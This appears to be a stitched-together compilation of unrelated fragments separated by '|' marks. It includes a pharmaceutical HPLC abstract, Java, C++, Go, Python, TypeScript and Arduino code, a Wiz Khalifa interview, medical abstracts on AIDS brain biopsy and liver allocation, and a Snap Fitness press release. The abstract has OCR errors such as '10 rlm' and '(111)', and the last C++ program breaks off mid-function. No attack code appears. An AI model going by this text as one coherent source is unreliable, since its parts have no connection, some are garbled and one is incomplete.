A procedure was developed for the determination of the analgesic components of Spasmomigraine tablets, which are ergotamine (I), propyphenazone (II), caffeine (III), camylofin (IV), and mecloxamine (V). They were subjected to high-performance liquid chromatography on a column (300 x 3.9 mm, 10 rlm particle size) packed with micro-Bondapak C18. Separations were achieved with the mobile phase methanol-water-triethylamine (60 + 40 + 0.1, v/v/v) flowing at a rate of 1.5 mL/min, and quantitative determination was performed at 254 nm at ambient temperature for I-III; acetonitrile-25 mM KH2PO4-acetic acid (45 + 55 + 0.2, v/v/v), flowing at a rate of 1.5 mL/min and detection at 234 nm at ambient temperature, was used for IV and V. Methyl paraben was used as an internal standard. The detection limits were 0.35 (I), 5.0 (11), 1.5 (111), 3.0 (IV), and 2.0 microg/mL (V). The method was accurate (mean recovery 98+/-2%, n = 4) and precise (coefficient of variation <5%, n = 5). The proposed method is rapid and sensitive and, therefore, suitable for the routine control of these ingredients in multicomponent dosage forms. |
/**
* Represents a cube.
*
* @see org.eclipse.birt.report.model.elements.olap.Cube
*/
public abstract class CubeHandle extends ReportElementHandle
implements
ICubeModel
{
/**
* Constructs a handle for the given design and design element. The
* application generally does not create handles directly. Instead, it uses
* one of the navigation methods available on other element handles.
*
* @param module
* the module
* @param element
* the model representation of the element
*/
public CubeHandle( Module module, DesignElement element )
{
super( module, element );
}
public DimensionHandle getDimension( String dimensionName,
boolean needLevelForTimeDimension )
{
return getDimension( dimensionName );
}
/**
* Gets the dimension with the specified name within this cube.
*
* @param dimensionName
* name of the dimension to find
* @return dimension within the cube if found, otherwise <code>null</code>
*/
public DimensionHandle getDimension( String dimensionName )
{
if ( StringUtil.isBlank( dimensionName ) )
return null;
if ( !getElement( ).canDynamicExtends( ) )
{
Dimension dimension = module.findDimension( dimensionName );
if ( dimension == null )
return null;
if ( dimension.isContentOf( getElement( ) ) )
return (DimensionHandle) dimension.getHandle( module );
else
{
// check the client to find the children of the cube
List<BackRef> clients = dimension.getClientList( );
if ( clients != null )
{
for ( BackRef ref : clients )
{
DesignElement client = ref.getElement( );
if ( client.isContentOf( getElement( ) ) )
return (DimensionHandle) client.getHandle( module );
}
}
}
}
else if ( getElement( ).getDynamicExtendsElement( getModule( ) ) != null )
{
Cube cube = (Cube) getElement( );
DesignElement element = cube.findLocalElement( dimensionName,
MetaDataDictionary.getInstance( ).getElement(
ReportDesignConstants.DIMENSION_ELEMENT ) );
return (DimensionHandle) ( element == null ? null : element
.getHandle( module ) );
}
return null;
}
/**
* Gets the dimension with the specified name within this cube. If dimension
* defined with the given name doesn't exist, it returns the local
* corresponding one mapped to the parent dimension that matches the given
* name.
*
* @param dimensionName
* name of the dimension to find
* @return dimension within the cube if found, otherwise <code>null</code>
*/
public DimensionHandle getLocalDimension( String dimensionName )
{
DesignElement dimension = module.findDimension( dimensionName );
if ( dimension != null && dimension.isContentOf( getElement( ) ) )
return (DimensionHandle) dimension.getHandle( module );
// find the dimension according to the name in the parent cube.
CubeHandle parent = (CubeHandle) getExtends( );
if ( parent == null )
return null;
dimension = doGetLocalDimension( dimensionName, (Cube) parent.element,
parent.module );
if ( dimension == null )
return null;
return (DimensionHandle) dimension.getHandle( module );
}
/**
* Returns the dimension defined on the given cube.
*
* @param dimensionName
* @param parent
* @param parentModule
* @return
*/
protected DesignElement doGetLocalDimension( String dimensionName,
Cube parent, Module parentModule )
{
DesignElement dimension = parentModule.findDimension( dimensionName );
if ( dimension == null )
return null;
int index = dimension.getIndex( parentModule );
assert index != -1;
List<DesignElement> dims = (List<DesignElement>) getElement( )
.getProperty( module, DIMENSIONS_PROP );
return dims.get( index );
}
/**
* Gets the measure with the specified name within this cube.
*
* @param measureName
* name of the measure to find
* @return measure within the cube if found, otherwise <code>null</code>
*/
public MeasureHandle getMeasure( String measureName )
{
if ( StringUtil.isBlank( measureName ) )
return null;
if ( !getElement( ).canDynamicExtends( ) )
{
DesignElement measure = module.findOLAPElement( measureName );
if ( measure instanceof Measure
&& measure.isContentOf( getElement( ) ) )
return (MeasureHandle) measure.getHandle( module );
}
else if ( getElement( ).getDynamicExtendsElement( getModule( ) ) != null )
{
Cube cube = (Cube) getElement( );
DesignElement element = cube.findLocalElement( measureName,
MetaDataDictionary.getInstance( ).getElement(
ReportDesignConstants.MEASURE_ELEMENT ) );
return (MeasureHandle) ( element == null ? null : element
.getHandle( module ) );
}
return null;
}
/**
* Returns an iterator for the filter list defined on this cube. Each object
* returned is of type <code>StructureHandle</code>.
*
* @return the iterator for <code>FilterCond</code> structure list defined
* on this cube.
*/
public Iterator filtersIterator( )
{
PropertyHandle propHandle = getPropertyHandle( FILTER_PROP );
assert propHandle != null;
return propHandle.iterator( );
}
/**
* Gets the default measure group for the cube.
*
* @return the default measure group
*
* @deprecated
*/
public MeasureGroupHandle getDefaultMeasureGroup( )
{
return null;
}
/**
* Sets the default measure group for this cube.
*
* @param defaultMeasureGroup
* the default measure group to set
* @throws SemanticException
* @deprecated
*/
public void setDefaultMeasureGroup( MeasureGroupHandle defaultMeasureGroup )
throws SemanticException
{
}
/**
* Returns an iterator for the access controls. Each object returned is of
* type <code>AccessControlHandle</code>.
*
* @return the iterator for user accesses defined on this cube.
*/
public Iterator accessControlsIterator( )
{
return Collections.emptyList( ).iterator( );
}
/**
* Adds the filter condition.
*
* @param fc
* the filter condition structure
* @throws SemanticException
* if the expression of filter condition is empty or null
*/
public void addFilter( FilterCondition fc ) throws SemanticException
{
PropertyHandle propHandle = getPropertyHandle( FILTER_PROP );
propHandle.addItem( fc );
}
/**
* Removes the filter condition.
*
* @param fc
* the filter condition structure
* @throws SemanticException
* if the given condition doesn't exist in the filters
*/
public void removeFilter( FilterCondition fc ) throws SemanticException
{
PropertyHandle propHandle = getPropertyHandle( FILTER_PROP );
propHandle.removeItem( fc );
}
/**
* Gets the expression handle for the <code>ACLExpression</code> property.
*
* @return
*/
public ExpressionHandle getACLExpression( )
{
return getExpressionProperty( ACL_EXPRESSION_PROP );
}
} |
#include "TrackingTools/TrajectoryState/interface/TrajectoryStateTransform.h"
#include "DataFormats/TrackReco/interface/Track.h"
#include "TrackingTools/TrajectoryState/interface/TrajectoryStateOnSurface.h"
#include "TrackingTools/TrajectoryState/interface/FreeTrajectoryState.h"
#include "DataFormats/GeometrySurface/interface/Surface.h"
#include "TrackingTools/TrajectoryParametrization/interface/GlobalTrajectoryParameters.h"
#include "Geometry/CommonDetUnit/interface/TrackingGeometry.h"
#include "Geometry/CommonDetUnit/interface/GeomDet.h"
namespace trajectoryStateTransform {
using namespace SurfaceSideDefinition;
PTrajectoryStateOnDet persistentState(const TrajectoryStateOnSurface& ts, unsigned int detid) {
int surfaceSide = static_cast<int>(ts.surfaceSide());
auto pt = ts.globalMomentum().perp();
if (ts.hasError()) {
AlgebraicSymMatrix55 const& m = ts.localError().matrix();
int dim = 5; /// should check if corresponds to m
float localErrors[15];
int k = 0;
for (int i = 0; i < dim; i++) {
for (int j = 0; j <= i; j++) {
localErrors[k++] = m(i, j);
}
}
return PTrajectoryStateOnDet(ts.localParameters(), pt, localErrors, detid, surfaceSide);
}
return PTrajectoryStateOnDet(ts.localParameters(), pt, detid, surfaceSide);
}
TrajectoryStateOnSurface transientState(const PTrajectoryStateOnDet& ts,
const Surface* surface,
const MagneticField* field) {
AlgebraicSymMatrix55 m;
bool errInv = true;
if (ts.hasError()) {
errInv = false;
int dim = 5;
int k = 0;
for (int i = 0; i < dim; i++) {
for (int j = 0; j <= i; j++) {
m(i, j) = ts.error(k++); // NOTE: here we do a cast float => double.
}
}
}
return TrajectoryStateOnSurface(ts.parameters(),
errInv ? LocalTrajectoryError(InvalidError()) : LocalTrajectoryError(m),
*surface,
field,
static_cast<SurfaceSide>(ts.surfaceSide()));
}
FreeTrajectoryState initialFreeState(const reco::Track& tk, const MagneticField* field, bool withErr) {
Basic3DVector<float> pos(tk.vertex());
GlobalPoint gpos(pos);
Basic3DVector<float> mom(tk.momentum());
GlobalVector gmom(mom);
GlobalTrajectoryParameters par(gpos, gmom, tk.charge(), field);
if (!withErr)
return FreeTrajectoryState(par);
CurvilinearTrajectoryError err(tk.covariance());
return FreeTrajectoryState(par, err);
}
FreeTrajectoryState initialFreeStateL1TTrack(const TTTrack<Ref_Phase2TrackerDigi_>& tk,
const MagneticField* field,
bool withErr) {
Basic3DVector<float> pos(tk.POCA());
GlobalPoint gpos(pos);
GlobalVector gmom = tk.momentum();
int charge = tk.rInv() > 0.f ? 1 : -1;
GlobalTrajectoryParameters par(gpos, gmom, charge, field);
if (!withErr)
return FreeTrajectoryState(par);
AlgebraicSymMatrix55 mat = AlgebraicMatrixID();
mat *= 1e-8;
return FreeTrajectoryState(par, mat);
}
FreeTrajectoryState innerFreeState(const reco::Track& tk, const MagneticField* field, bool withErr) {
Basic3DVector<float> pos(tk.innerPosition());
GlobalPoint gpos(pos);
Basic3DVector<float> mom(tk.innerMomentum());
GlobalVector gmom(mom);
GlobalTrajectoryParameters par(gpos, gmom, tk.charge(), field);
if (!withErr)
return FreeTrajectoryState(par);
CurvilinearTrajectoryError err(tk.extra()->innerStateCovariance());
return FreeTrajectoryState(par, err);
}
FreeTrajectoryState outerFreeState(const reco::Track& tk, const MagneticField* field, bool withErr) {
Basic3DVector<float> pos(tk.outerPosition());
GlobalPoint gpos(pos);
Basic3DVector<float> mom(tk.outerMomentum());
GlobalVector gmom(mom);
GlobalTrajectoryParameters par(gpos, gmom, tk.charge(), field);
if (!withErr)
return FreeTrajectoryState(par);
CurvilinearTrajectoryError err(tk.extra()->outerStateCovariance());
return FreeTrajectoryState(par, err);
}
TrajectoryStateOnSurface innerStateOnSurface(const reco::Track& tk,
const TrackingGeometry& geom,
const MagneticField* field,
bool withErr) {
const Surface& surface = geom.idToDet(DetId(tk.extra()->innerDetId()))->surface();
return TrajectoryStateOnSurface(innerFreeState(tk, field, withErr), surface);
}
TrajectoryStateOnSurface outerStateOnSurface(const reco::Track& tk,
const TrackingGeometry& geom,
const MagneticField* field,
bool withErr) {
const Surface& surface = geom.idToDet(DetId(tk.extra()->outerDetId()))->surface();
return TrajectoryStateOnSurface(outerFreeState(tk, field, withErr), surface);
}
} // namespace trajectoryStateTransform
|
Highlights from College News’ exclusive interview with Wiz Khalifa
Pittsburgh born rapper Wiz Khalifa has been in the game for a while. He put out his first mixtape in 2006 and has been consistently releasing projects since. Despite being a huge name in hip-hop, Wiz finds himself at an interesting point in his career and life. His last full project prior to his summer mixtape, 28 Grams, came out at the end of 2012. He also started a family with his wife and model Amber Rose and is figuring out life as a father.
The next couple of months are going to be jammed packed for Wiz. He’s headlining the Under the Influence tour with big names such as Young Jeezy, Sage the Gemini, Ty Dolla $ign and Rich Homie Quan. His album titled Blacc Hollywood comes out on August 19th and he recently recorded the theme song for the new Teenage Mutant Ninja Turtles movie.
Despite his busy schedule, Wiz was able to sit down and discuss these topics as well as his grip on Pittsburgh’s rap scene, his own strain of marijuana and what his mindset is like during this busy time.
Carlo Mantuano: I wanted to start off asking you about the Under the Influence Tour and the first show is tonight. How pumped are you?
Wiz Khalifa: I’m really excited, really confident and I can’t wait.
CM: I also wanted to talk to you about Blacc Hollywood, which is coming August 19th. What can we expect from the album?
WK: Expect a really consistent and big project. Instead of being too conceptual or too difficult to understand, it really just captures some great moments for everybody. And it’s gonna be a really big album for me.
CM: You’ve released a lot of singles for the album including “We Dem Boyz,” “Kk,” “You and Your Friends” and “Stayin’ Out All Night.” Are all those gonna be on the album?
WK: Yeah all of that stuff is on the album.
CM: And I recently saw you came out with the track “Shell Shocked,” which is on the soundtrack for the new Teenage Mutant Ninja Turtles movie. Are you a big fan of the old shows and movies?
WK: Bro…that’s the highlight of my career right there. Anybody who knows me, I wanted to be a Ninja Turtle before I wanted to be a rapper. So yeah, Ninja Turtle first, rap second. So for them to come to me for the theme song, and not only have me, but have my Taylor Gang artists on there and represent the turtles like that, man that is such a huge deal for me and I’m super excited about that.
CM: So you’re saying that if you were hanging out with the Turtles you would smoke them out.
WK: Nah I wouldn’t smoke them out because they’re teenagers.
CM: [Laughs] Good point, so you’d be a positive influence on them then.
WK: Exactly.
CM: Speaking of marijuana, you have a sponsorship on a strain called Khalifa Kush. How did that work?
WK: Well, I know the grower and I had spent some years doing some research just trying to find my favorite weed and just kinda smoke that forever because I’m the type of person that finds one thing and just keeps doing it over and over. So I found the type of weed that I really really love and it was a very rare strain of kush and I was the only one who was into it at the time so the grower just kinda threw me my own plant and branded it as Khalifa Kush. And as weed became more legal, more of a money thing for everybody, for dispensaries and the government and stocks and all that, then it became profitable and legal and in the right way and so I had my own brand of weed for everybody. So that’s where Kk comes from.
CM: Have you been involved in the legalize movement at all?
WK: Yeah for sure. Behind the scenes.
CM: How so?
WK: Just as far as like making it more friendly for people and also consulting. I have business partners who, you know, that’s what they really really do and I kinda just follow suit with them just based off of my celebrity and my knowledge and their knowledge. Just put the two together and we’re just mapping this whole thing out.
CM: On that album you had the Trap Wiz sound with the autotune. You did that stuff on your older mixtapes like Star Power and Flight School. What made you want to bring back that kind of sound?
WK: I was listening to those mixtapes. That’s what made me do it! I was really in a place where I was kinda fed up of trying to formulate stuff so I went back and listened to my old stuff and I got re-inspired just by my thought process and my mind frame back then. That’s where Trap Wiz really came from because I really didn’t give a fuck back then. Being in and from Pittsburgh I was talking about some ratchet-ass, Pittsburgh shit. It was in a way that people didn’t really know, you know what I mean? So when I went back and I listened to it, it was like “Yo I just need to get in touch with that dude, bring him out, and let him rap about now.” And that’s where Trap Wiz came from.
CM: Which projects did you go back to specifically?
WK: It was Prince of the City 2, Grow Season, Star Power and Flight School. But mostly Flight School, Prince of the City 2, and Grow Season.
CM: So, obviously you’re from Pittsburgh. What’s the local rap scene looking like? Who are some people coming out of Pittsburgh that you think could make an impact on the game?
WK: My homie KH. He’s from around our way. He’s really tight. He’s doing videos, got a whole crew and nice sound going. My man Drama. He’s from the Hill [a collection of neighborhoods in downtown Pittsburgh] and he’s really tight. The Come Up, they were super tight. There’s a lot of people doing things in Pittsburgh individually, like making videos and coming up with different sounds and it’s hard to say who’s gonna be next. Oh, Boaz of course. That’s my man. It’s hard to say who’s next because I feel like everybody has so much potential. Oh Hardo, almost forgot about Hardo. He just came home from jail. Everybody has got their own sound and their own individual thing they can do for the game and I think that it’s up to the individuals to make the right decisions because Pittsburgh is such a weird place where people can get caught up in the city and you don’t make it to your full potential other places. You know like fully functioned and see how people love you in other places. That’s the main thing that I’d like to stress and you know get across to Pittsburgh artists. Get to popular places other than Pittsburgh.
CM: How many people have you worked with out there?
WK: I work with everybody out there. Pretty much everybody there is unless they’re super young. But even the young cats, I go to the studio and work with them. You know, just to keep the energy there. I work with everybody.
CM: Along the same lines, what are your plans for the Taylor Gang label and brand?
WK: Yeah the label and the brand is really strong. It’s like I was telling you, we’re just building everything so it’s not just relied on music. We have Taylor Gang films, we’re starting a skate team, we’re submitting art and stuff like that. Just in a way where people will look at us as game definers. We define what goes on in the culture instead of being game changers. If you look at Under the Influence music tour, Kendrick was on the first one and then he went on to do what he does. Ty Dolla $ign was on the second one and now he’s writing for fucking Kanye and Rihanna and shit like that, which he should anyway, but at the end of the day we have a thing for seeing artists and getting them to their full potential based off our methods and our machine. So we’re gonna start using that way more to our advantage in the open so people will see it and recognize it.
CM: We have to wrap it up, but I definitely wanted to ask you about family life. How’s it going?
WK: Family life is amazing. My boy is getting big. My wife is always there for me holding it down so it’s cool. This is like the busiest time of my life and it’s difficult but I know when I look back on it, I’m gonna be happy that this is how it is. You know it’s cool too that my son is at that age where he’s developing. I can facetime him and he’s saying daddy and stuff like that, but he’s not too emotional or too sad when I leave. You know, he cries like as soon as I leave out the door and stuff like that. When he gets older and older he’ll be able to travel with me and we’ll be able to do a lot of it together. So I’m knocking it all out now.
For the full interview check back for the full 4th quarter print edition in November! |
/**
* Validates that:
* 1. Seven Tag Roster is present
* 2. Result tag matches Game Termination Marker
* 3. If SetUp tag is 1, then FEN tag is present
* Note: Nothing else is validated (no even moves)!
*
* @throws PgnValidationException when something is not valid
*/
@Override
public void validate() throws PgnValidationException {
for (String tagName : SEVEN_TAG_ROSTER) {
if (!tags.containsKey(tagName)) {
throw new PgnValidationException(
"The required tag " + tagName + " is not present."
);
}
}
if (!termination.getNotation().equals(tags.get("Result"))) {
throw new PgnValidationException(
"The game termination marker must match the value of the Result tag."
);
}
if ("1".equals(tags.get("SetUp")) && tags.get("FEN") == null) {
throw new PgnValidationException(
"The SetUp tag is 1 but FEN tag is NOT set."
);
}
} |
from django.shortcuts import render
import json
import requests
import os
def index_view(request):
secret_key = os.environ.get('SECRET_KEY')
res = requests.get(f"http://api.ipstack.com/check?access_key={secret_key}")
json_res = json.loads(res.content)
ip = json_res['ip'],
country = json_res['country_name'],
city = json_res['city'],
state = json_res['region_name'],
continent = json_res['continent_name']
context = {
'ip': ip,
'country': country,
'city': city,
'state': state,
'continent': continent
}
return render(request, 'index.html', context)
|
// ReadPubEncKey reads a public encryption key from a file.
func ReadPubEncKey(filename string) (PubEncKey, error) {
keyBytes, err := ioutil.ReadFile(filename)
if err != nil {
return PubEncKey{}, errors.Wrapf(err, "error reading key file")
}
return ParsePubEncKey(keyBytes)
} |
Stereotactic biopsy of cerebral lesions in patients with AIDS.
Central nervous system involvement with AIDS is not uncommon. The indications and timing of brain biopsy remains controversial. Stereotactic CT-guided biopsy offers a safe and effective means of establishing a diagnosis in any patient with a cerebral mass lesion and has less morbidity and mortality than freehand biopsy or exploratory craniotomy. Eleven patients with AIDS have undergone CT-directed stereotactic biopsy between May 1987 and November 1990 with one death from intracerebral haemorrhage. Histological diagnosis of the biopsy specimens showed multifocal leucoencephalopathy, toxoplasmosis, lymphoma and non-specific changes. Biopsy is recommended for patients with an atypical presentation, negative serology, progressive clinical deterioration and differential response of lesions to empirical therapy. |
The impact of broader regional sharing of livers: 2‐year results of “Share 35”
In June of 2013, the Organ Procurement and Transplantation Network (OPTN) implemented regional sharing for Model for End‐Stage Liver Disease (MELD)/Pediatric End‐Stage Liver Disease (PELD) candidates with scores reaching 35 and above (“Share 35”). The goal of this distribution change was to increase access to lifesaving transplants for the sickest candidates with chronic liver disease and to reduce the waiting‐list mortality for this medically urgent group of patients. To assess the impact of this change, we compared results before and after policy implementation at 2 years. Overall, there were more liver transplants performed under Share 35 and a greater percentage of MELD/PELD 35+ candidates underwent transplantation; waiting‐list mortality rates in this group were also significantly lower in the post‐policy period. Overall adjusted waiting‐list mortality was decreased slightly, with no significant changes in mortality by age group or ethnicity. Posttransplant graft and patient survival was unchanged overall and was unchanged for the MELD/PELD 35+ recipients. In conclusion, these data demonstrate that the Share 35 policy achieved its goal of increasing access to transplants for these medically urgent patients without reducing access to liver transplants for pediatric and minority candidates. Although the variance in the median MELD at transplant as well as the variance in transport distance increased, there was a decrease in overall liver discard rates and no change in overall cold ischemia times following broader sharing of these organs. The OPTN will continue to monitor this policy, particularly for longer‐term posttransplant survival outcomes.Liver Transplantation 22 399‐409 2016 AASLD |
<reponame>33cn/chat33-pc<filename>src/scripts/groupKey-dao.ts
import Datasource from '@/scripts/data-source';
import Dao from '@/scripts/dao';
import { TableName } from '@/config/config-enum';
import { ApiMsg } from '@/config/apiTypings';
import Notify from '@/plugins/NotifyPop';
import groupKeyPo from '@/object/po/groupKey-Po';
export default class GroupKeyDao extends Dao {
constructor(dataSource: Datasource) {
super(dataSource)
}
async createGroupKeyTable() {
let sql = `CREATE TABLE IF NOT EXISTS ${TableName.GroupKey} (
ID INTEGER PRIMARY KEY NOT NULL,
KEY_ID BIGINT,
KEY CHAR(255),
GROUP_ID CHAR(10)
) WITHOUT ROWID`
try {
const res = await this.dataSource.get(`SELECT count(*) FROM sqlite_master WHERE type='table' AND name = '${TableName.GroupKey}'`);
if (!res) {
sql += `;CREATE INDEX index_keyId ON ${TableName.GroupKey} (KEY_ID,GROUP_ID);`
}
return await this.dataSource.exec(sql)
} catch (error) {
}
}
async createNewGroupKeyTable() {
let sql = `CREATE TABLE IF NOT EXISTS GroupKeyTemp (
ID INTEGER PRIMARY KEY NOT NULL,
KEY_ID BIGINT,
KEY CHAR(255),
GROUP_ID CHAR(10)
) WITHOUT ROWID`
sql += `;CREATE INDEX index_keyId ON GroupKeyTemp (KEY_ID,GROUP_ID);`
return await this.dataSource.exec(sql)
}
async UpdateGroupKeyTable() {
try {
const hasIndex = await this.dataSource.get(`SELECT * FROM sqlite_master WHERE type = 'index' AND tbl_name = "${TableName.GroupKey}"`)
if (!hasIndex) {
this.updateColumn();
}
} catch (error) {
}
}
private updateColumn() {
this.dataSource.db.serialize(() => {
this.dataSource.db.run("BEGIN TRANSACTION");//开启数据库事务
this.createNewGroupKeyTable();
this.dataSource.run(`INSERT INTO GroupKeyTemp (ID,KEY_ID,KEY,GROUP_ID) SELECT ID,KEY_ID,KEY,GROUP_ID FROM ${TableName.GroupKey}`);
this.dataSource.run(`DROP TABLE ${TableName.GroupKey}`);
this.dataSource.run(`ALTER TABLE GroupKeyTemp RENAME TO ${TableName.GroupKey}`);
this.dataSource.db.run("COMMIT TRANSACTION");
})
}
public InsertOneRow(apiMsg: ApiMsg, key: string) {
return new Promise((resolve, reject) => {
this.dataSource.db.serialize(() => {
const stmt = this.dataSource.db.prepare(`INSERT OR IGNORE INTO ${TableName.GroupKey} VALUES (?,?,?,?);`);
stmt.run([apiMsg.logId, apiMsg.msg.kid, key, apiMsg.msg.roomId]);
stmt.finalize((error: any) => {
resolve('success');
if (error) {
reject();
Notify.fail('本地存储失败');
throw new Error('本地保存失败');
}
});
});
})
}
/*
* 根据最近的key_id查找对应行数据
*/
public async getRowByLatestKey(targetId: string) {
try {
const sql = `SELECT * FROM ${TableName.GroupKey} INDEXED BY index_keyId WHERE GROUP_ID = ? ORDER BY KEY_ID DESC LIMIT 0,1 NOT NULL`;
const result = await this.dataSource.all(sql, [targetId])
return result[0] ? new groupKeyPo(result[0]) : null;
} catch (e) {
console.log(e)
}
}
/**
* 根据key_id查找群密钥
*/
public async getGroupKeyByKeyId(keyId: string) {
try {
const sql = `SELECT KEY FROM ${TableName.GroupKey} INDEXED BY index_keyId WHERE KEY_ID = ?`;
const result = await this.dataSource.get(sql, [keyId]);
return result ? result['KEY'] : null;
} catch (e) {
console.log(e)
}
}
/**
* 删除指定group下的所有密钥
*/
public async deleteGroupKeys(targetId: string) {
try {
console.log(targetId);
const sql = `DELETE FROM ${TableName.GroupKey} WHERE GROUP_ID = ?`;
return await this.dataSource.run(sql, [targetId])
} catch (e) {
console.log(e)
}
}
}
|
def fit_method(self, new_val: str):
self._fit_method = new_val |
nk = input()
n, k = [int(i) for i in nk.split(" ")]
a = input()
a = [int(i) for i in a.split(" ")]
b = []
for i in range(len(a)):
b += [(i, a[i])]
b.sort(key = lambda x:x[1])
m = 0
no = 0
p = []
for i in range(n):
m += b[i][1]
if m <= k:
no += 1
p.append(b[i][0])
else:
break
if len(p)>0:
print(no)
for i in p:
print (i+1, end=" ")
else:
print(0)
|
package constants
import (
"github.com/qdm12/gluetun/internal/models"
)
const (
// UnboundConf is the file path to the Unbound configuration file.
UnboundConf models.Filepath = "/etc/unbound/unbound.conf"
// ResolvConf is the file path to the system resolv.conf file.
ResolvConf models.Filepath = "/etc/resolv.conf"
// CACertificates is the file path to the CA certificates file.
CACertificates models.Filepath = "/etc/ssl/certs/ca-certificates.crt"
// OpenVPNAuthConf is the file path to the OpenVPN auth file.
OpenVPNAuthConf models.Filepath = "/etc/openvpn/auth.conf"
// OpenVPNConf is the file path to the OpenVPN client configuration file.
OpenVPNConf models.Filepath = "/etc/openvpn/target.ovpn"
// PIAPortForward is the file path to the port forwarding JSON information for PIA servers.
PIAPortForward models.Filepath = "/gluetun/piaportforward.json"
// TunnelDevice is the file path to tun device.
TunnelDevice models.Filepath = "/dev/net/tun"
// NetRoute is the path to the file containing information on the network route.
NetRoute models.Filepath = "/proc/net/route"
// RootHints is the filepath to the root.hints file used by Unbound.
RootHints models.Filepath = "/etc/unbound/root.hints"
// RootKey is the filepath to the root.key file used by Unbound.
RootKey models.Filepath = "/etc/unbound/root.key"
// Client key filepath, used by Cyberghost.
ClientKey models.Filepath = "/gluetun/client.key"
// Client certificate filepath, used by Cyberghost.
ClientCertificate models.Filepath = "/gluetun/client.crt"
)
|
Snap Fitness
America’s Fitness Brand Renews NASCAR Sponsorship For 2016
MINNEAPOLIS (March 7, 2016) — Snap Fitness, the world’s premier 24/7 fitness provider, announced today that it will sponsor NASCAR driver Landon Cassill for the third-straight season.
Cassill will continue to represent Snap Fitness as a brand champion – only this season, he’ll be driving a new car for a new team. Earlier this year, Cassill joined Front Row Motorsports and will drive the No. 38 Ford for the 2016 Sprint Cup season.
“Landon continues to show how hard work pays off when you’re passionate about reaching your goals,” Founder/CEO Peter Taunton said. “We’re excited to see Landon have a successful 2016 and inspire Snap Nation in the No. 38.”
Cassill hopes to make a statement with America’s Fitness Brand and the new car this season.
“I’ve improved every year with Snap Fitness supporting me on and off the track in my professional and personal endeavors, and I have higher expectations for 2016,” Cassill said. “It’s both motivating and an honor to know I’m setting an example for its members around the world.”
Watch the Snap Fitness car in action with Cassill at the wheel during the following races this year:
Sunday, March 13 – Good Sam 500 at Phoenix International Raceway
Sunday, April 17 – Food City 500 at Bristol Motor Speedway
Sunday, July 24 – The “Your Hero’s Name Here” 400 at Indianapolis Motor Speedway
Sunday, Sept. 4 – Bojangles’ Southern 500 at Darlington Raceway
Follow Snap Fitness on Facebook, Twitter, and Instagram to get the latest updates on Cassill and the NASCAR sponsorship.
###
About Snap Fitness
With more than 2,000 clubs open or in development in 18 countries, Snap Fitness is the world’s premier 24/7 fitness franchise. Founded in 2003 by Peter Taunton, Snap Fitness is dedicated to providing members with more value than any other health club and entrepreneurs an opportunity with turnkey systems, financing options with low investments, and world-class support. For more information, please visit www.snapfitness.com. |
<reponame>per1234/SimpleAnimation
#include "Timer.h"
#include <Arduino.h>
Timer::Timer(): duration(0),startTime(0) {}
void Timer::setDuration(uint32_t _duration){
duration=_duration;
}
void Timer::reset(){
startTime = millis();
}
uint32_t Timer::elapsedTime(){
if(startTime > 0){
return millis()-startTime;
}
return -1;
}
bool Timer::expired(){
if(duration == 0 || startTime == 0){
return true;
}
return elapsedTime() > duration;
}
|
/**
* Provider class for opentracing-LiTe.
*
* OTL provider is responsible for create and returning an instance of a tracer
* that is compliant with the spec as demonstrated and laid down by io.opentracing
* community.
*
* There will be a single instance of type {@link OTLTracer} per jvm. The provider
* is loaded into the memory via {@link ServiceLoader} API, which can thereafter
* be used to obtain a valid tracer instance.
*
* The provider does not keep a local copy of the tracer. The returned tracer
* object will be directly registered with {@link GlobalTracer} object to make
* is globally available. A second invocation of {@link #createTracer() } method
* will throw {@link IllegalStateException}.
*
* @author Sudiptasish Chanda
*/
public class OTLProvider extends Provider {
private static volatile boolean initialized = false;
public OTLProvider() {}
@Override
public Tracer createTracer() {
synchronized (OTLProvider.class) {
if (initialized) {
throw new IllegalStateException("Provider is already initialized. To obtain"
+ " the platform tracer use GlobalTracer.get()");
}
initialized = true;
return new OTLTracerImpl();
}
}
} |
#include <bits/stdc++.h>
using namespace std;
#define pb push_back
#define ppb pop_back
#define pf push_front
#define ppf pop_front
#define p push
#define pp pop
#define mp make_pair
#define mt make_tuple
#define lb lower_bound // lb(first, last, val) [first, last) >= val
#define ub upper_bound // ub(first, last, val) [first, last) > val
#define bs binary_search
#define maxe *max_element
#define mine *min_element
#define B begin()
#define E end()
#define rB rbegin()
#define rE rend()
#define L size()
#define C count()
#define Emp empty()
#define tp top()
#define yes cout<<"Yes\n"
#define no cout<<"No\n"
typedef long long int ll;
#define V(type) vector<type>
#define STK(type) stack<type>
#define Q(type) queue<type>
#define PQ(type) priority_queue<type>
#define pll pair<ll, ll>
#define F first
#define S second
#define INF numeric_limits<long long>::max()
const double delta = 0.0000000001;
const double pi = 3.1415926535;
template <typename T>
ostream& operator<<(ostream& os, const vector<T>& v)
{
for (int i = 0; i < v.size(); ++i) {
os << v[i];
if (i != v.size() - 1)
os << " ";
}
os << "\n";
return os;
}
void FAST() {
ios::sync_with_stdio(0);
cin.tie(0);
cout.tie(0);
}
ll powM(ll x, ll y, ll m) { //returns (a^b)%m ( ^ is exponent )
ll ans = 1, r = 1;
x %= m;
while (r > 0 && r <= y)
{
if (r & y)
{
ans *= x;
ans %= m;
}
r <<= 1;
x *= x;
x %= m;
}
return ans;
}
bool isPrime(ll n)
{
if (n <= 1) return false;
if (n <= 3) return true;
if (n%2 == 0 || n%3 == 0) return false;
for (ll i=5; i*i<=n; i=i+6)
if (n%i == 0 || n%(i+2) == 0)
return false;
return true;
}
V(bool) is_prime;
void FindPrimes(ll n)
{
is_prime = V(bool) (n+1, true);
for (ll p = 2; p * p <= n; p++) {
if (is_prime[p] == true) {
for (ll i = p * p; i <= n; i += p)
is_prime[i] = false;
}
}
}
V(ll) spf;
void FindSpf(ll n)
{
spf = V(ll) (n+1);
for (ll p = 2; p <= n; p++) {
if (spf[p] == 0) {
spf[p] = p;
for (ll i = p*p; i <= n; i += p){
spf[i] = p;
}
}
}
}
V(ll) pf_cnt;
void FindPfCnt(ll n)
{
pf_cnt = V(ll) (n+1);
for (ll p = 2; p <= n; p++) {
if (pf_cnt[p] == 0) {
pf_cnt[p] = 1;
for (ll i = p*2; i <= n; i += p){
pf_cnt[i] ++;
}
}
}
}
int main(){
FAST();
ll t;
cin>>t;
while(t--){
ll n, l, r;
cin>>n>>l>>r;
ll temp;
V(ll) a(n);
for(int i = 0; i < l; i ++){
cin>>temp;
a[temp-1] ++;
}
for(ll i = l; i < n; i ++){
cin>>temp;
a[temp-1] --;
}
ll ans = 0;
if(l < r) {
swap(l, r);
for(ll i = 0; i < n; i ++){
a[i] = -a[i];
}
}
